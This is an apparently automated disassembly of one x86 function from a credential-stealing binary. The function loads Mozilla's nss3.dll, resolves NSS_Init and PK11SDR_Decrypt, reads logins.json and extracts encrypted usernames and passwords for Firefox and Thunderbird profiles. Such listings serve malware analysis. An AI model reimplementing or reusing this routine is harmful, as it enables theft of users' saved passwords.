Function at 0x1008f1f0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], 0xf
lea eax, [ebp + 8]
mov dword [ebp - 0x144], esi
xor ebx, ebx
lea ecx, [ebp - 0x68]
push eax
mov dword [ebp - 0xc], ebx
mov byte [ebp - 0x1c], bl
call fcn.100ae9d0
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.nss3.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 0x54]
mov edi, eax
cmp edx, 0x10
jb 0x1008f27c
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f272
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], bl
test edi, edi
jne 0x1008f373
push edi
push 0x100ede68
mov ecx, esi
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov byte [esi], bl
call fcn.100af160
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008f2de
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f2d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090874
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], bl
cmp edx, 0x10
jb 0x1008f31f
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f315
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090874
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], bl
cmp edx, 0x10
jb 0x1008f360
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f356
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090874
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.PL_Base64Decode
push edi
mov dword [0x100ff914], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x100ff978], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x100ff908], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x100ff950], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x100ff958], eax
call esi
push str.NSS_Shutdown
push edi
mov dword [0x100ff938], eax
call esi
mov dword [0x100ff928], eax
lea ecx, [ebp - 0x34]
mov eax, dword [ebp + 0x30]
add eax, 0xc
mov dword [ebp - 0x24], ebx
push eax
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
call fcn.100b1a80
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
mov esi, dword [ebp - 0x20]
mov eax, esi
cmovae ecx, dword [ebp + 0x20]
mov edi, dword [ebp + 0x30]
mov edx, dword [ebp - 0x24]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008f42f
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], bl
jmp 0x1008f444
mov byte [ebp - 0x130], bl
lea ecx, [ebp - 0x34]
push dword [ebp - 0x130]
push edi
call fcn.100b0560
push str.logins.json
lea ecx, [ebp - 0x34]
call fcn.100ae850
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
push 0x100f7320
cmovae eax, dword [ebp - 0x34]
push eax
call fcn.100c4b2d
add esp, 8
test eax, eax
je 0x1008f480
push eax
call fcn.100c4bbb
add esp, 4
mov byte [ebp - 0xf9], 1
jmp 0x1008f486
mov byte [ebp - 0xf9], bl
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x1008f4ba
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f4b0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009087e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
cmp byte [ebp - 0xf9], bl
je 0x100907a3
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [0x100ff914]
sub esp, 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.100ae9d0
call fcn.1008a610
mov edx, eax
mov dword [ebp - 0x3c], ebx
mov ecx, edx
mov dword [ebp - 0x38], 0xf
add esp, 0x18
mov byte [ebp - 0x4c], bl
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008f510
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.100af160
cmp dword [ebp - 0x3c], ebx
jbe 0x1009076f
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x20], ebx
push str._hostname_:_______
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
call fcn.100adcc0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xe8], ebx
push str._encryptedUsername_:_______
lea ecx, [ebp - 0xf8]
movups xmmword [ebp - 0xf8], xmm0
call fcn.100adcc0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xd4], ebx
push str._encryptedPassword_:_______
lea ecx, [ebp - 0xe4]
movups xmmword [ebp - 0xe4], xmm0
call fcn.100adcc0
push 0x38
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.100bd8d0
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
add esp, 0xc
mov edi, 0xf
mov dword [ebp - 0x70], ebx
cmp eax, 0x10
mov dword [ebp - 0x6c], edi
mov byte [ebp - 0x80], bl
cmovae esi, edx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x68], bl
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], edi
mov byte [ebp - 0x98], bl
cmp eax, 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, edx
lea edx, [ebp - 0x30]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
add esp, 0x10
test al, al
je 0x100905f0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xc8]
sub ecx, edi
imul ecx
lea ecx, [ebp - 0xa4]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x1008f628
lea ecx, [edi + 0xc]
cmp byte [ecx + 8], 0
je 0x1008f637
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008f63d
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x104], 0
mov edi, 0xf
mov dword [ebp - 0x100], edi
mov byte [ebp - 0x114], 0
cmp edx, ecx
je 0x1008f672
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.100af160
mov edi, dword [ebp - 0x100]
cmp edi, 0x10
lea ecx, [ebp - 0x114]
cmovae ecx, dword [ebp - 0x114]
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008f690
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x80]
call fcn.100af160
mov edx, dword [ebp - 0x100]
cmp edx, 0x10
jb 0x1008f6dd
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f6d3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xf8]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xc8]
sub esp, 8
imul ecx
mov edi, esp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x1008f730
lea ecx, [ebp - 0xa4]
jmp 0x1008f739
mov ecx, dword [ebp - 0xc8]
add ecx, 0xc
cmp byte [ecx + 8], 0
je 0x1008f748
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008f74e
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1008f76e
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100af160
call fcn.1008f090
add esp, 0x18
mov ecx, eax
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008f784
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x68]
call fcn.100af160
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xe4]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xc8]
sub esp, 8
imul ecx
mov edi, esp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x1008f7ea
lea ecx, [ebp - 0xa4]
jmp 0x1008f7f3
mov ecx, dword [ebp - 0xc8]
add ecx, 0xc
cmp byte [ecx + 8], 0
je 0x1008f802
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008f808
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1008f828
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100af160
call fcn.1008f090
add esp, 0x18
mov ecx, eax
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008f840
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ecx, 8
mov dword [ebp - 0x11c], 0
cmp dword [ebp - 0x70], ecx
lea eax, [ebp - 0x80]
mov dword [ebp - 0x118], 0xf
cmovb ecx, dword [ebp - 0x70]
cmp dword [ebp - 0x6c], 0x10
push ecx
cmovae eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x12c]
push eax
mov byte [ebp - 0x12c], 0
call fcn.100af160
mov edx, str.oauth:__
lea ecx, [ebp - 0x12c]
call fcn.100af4e0
mov edx, dword [ebp - 0x118]
mov byte [ebp - 0xf9], al
cmp edx, 0x10
jb 0x1008f8eb
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008f8db
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090883
push edx
push ecx
call fcn.100baf94
mov al, byte [ebp - 0xf9]
add esp, 8
test al, al
jne 0x1009057f
mov ecx, dword [ebp + 0x4c]
lea eax, [ebp + 0x38]
mov edx, dword [ebp + 0x38]
cmp ecx, 0x10
mov edi, dword [ebp + 0x48]
cmovae eax, edx
cmp edi, 1
jne 0x1008ffb1
cmp byte [eax], 0x30
jne 0x1008ffb1
cmp dword [ebp - 0x70], 0
je 0x1008ffb1
cmp dword [ebp - 0x58], 0
je 0x1008ffb1
cmp dword [ebp - 0x88], 0
je 0x1008ffb1
lea eax, [ebx + 1]
mov dword [ebp - 0x104], 0
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008f9ae
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008f9c7
mov byte [ebp - 0x130], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x130]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x80]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x12c]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20c], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push eax
movq qword [ebp - 0x1fc], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x1008fa6c
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fa62
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x1008faa6
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fa9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x1008fafb
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008faf1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008fb74
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [edi + ebx], 0
jmp 0x1008fb8d
mov byte [ebp - 0x134], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x134]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x12c]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x224], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x224]
push eax
movq qword [ebp - 0x214], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x210]
cmp edx, 0x10
jb 0x1008fc32
mov ecx, dword [ebp - 0x224]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fc28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x1008fc6c
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fc62
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x1008fcc1
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fcb7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008fd3a
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008fd53
mov byte [ebp - 0x138], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x138]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x12c]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x23c], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x23c]
push eax
movq qword [ebp - 0x22c], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x228]
cmp edx, 0x10
jb 0x1008fdfb
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fdf1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x1008fe35
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fe2b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x1008fe8a
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008fe80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008ff03
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008ff1c
mov byte [ebp - 0x13c], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x13c]
push ebx
call fcn.100b0560
push 0x100eec84
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100ae910
mov edx, dword [ebp - 0x100]
cmp edx, 0x10
jb 0x1008ff75
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ff6b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
push 0
push 0x100ede68
lea ecx, [ebp - 0x80]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x68]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ecx, dword [ebp + 0x4c]
mov edi, dword [ebp + 0x48]
mov edx, dword [ebp + 0x38]
mov ebx, dword [ebp - 0xc]
cmp ecx, 0x10
lea eax, [ebp + 0x38]
cmovae eax, edx
cmp edi, 1
jne 0x10090579
cmp byte [eax], 0x31
jne 0x10090579
cmp dword [ebp - 0x70], 0
je 0x10090579
cmp dword [ebp - 0x58], 0
je 0x10090579
cmp dword [ebp - 0x88], 0
je 0x10090579
lea eax, [ebx + 4]
mov dword [ebp - 0x104], 0
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x10090063
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1009007c
mov byte [ebp - 0x140], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x140]
push ebx
call fcn.100b0560
push str.mail
lea ecx, [ebp - 0x114]
call fcn.100ae850
push 0x100f7380
lea ecx, [ebp - 0x114]
call fcn.100ae850
push str.Thunderbird
lea ecx, [ebp - 0x12c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
push 0x100f7380
lea ecx, [ebp - 0x1ac]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1ac], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x19c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
lea edx, [ebp - 0x194]
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x194], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x184], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
lea edx, [ebp - 0x17c]
lea ecx, [ebp - 0x1dc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x17c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x16c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x68]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1c4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x164], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x154], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x98]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f737c
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100ae910
mov edx, dword [ebp - 0x240]
cmp edx, 0x10
jb 0x10090264
mov ecx, dword [ebp - 0x254]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009025a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1b0]
cmp edx, 0x10
jb 0x1009029e
mov ecx, dword [ebp - 0x1c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090294
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
cmp edx, 0x10
jb 0x100902f3
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100902e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
cmp edx, 0x10
jb 0x10090348
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009033e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x1009039d
mov ecx, dword [ebp - 0x17c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10090393
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
cmp edx, 0x10
jb 0x100903f2
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100903e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10090879
push edx
push ecx
call fcn.100baf94
add esp, 8
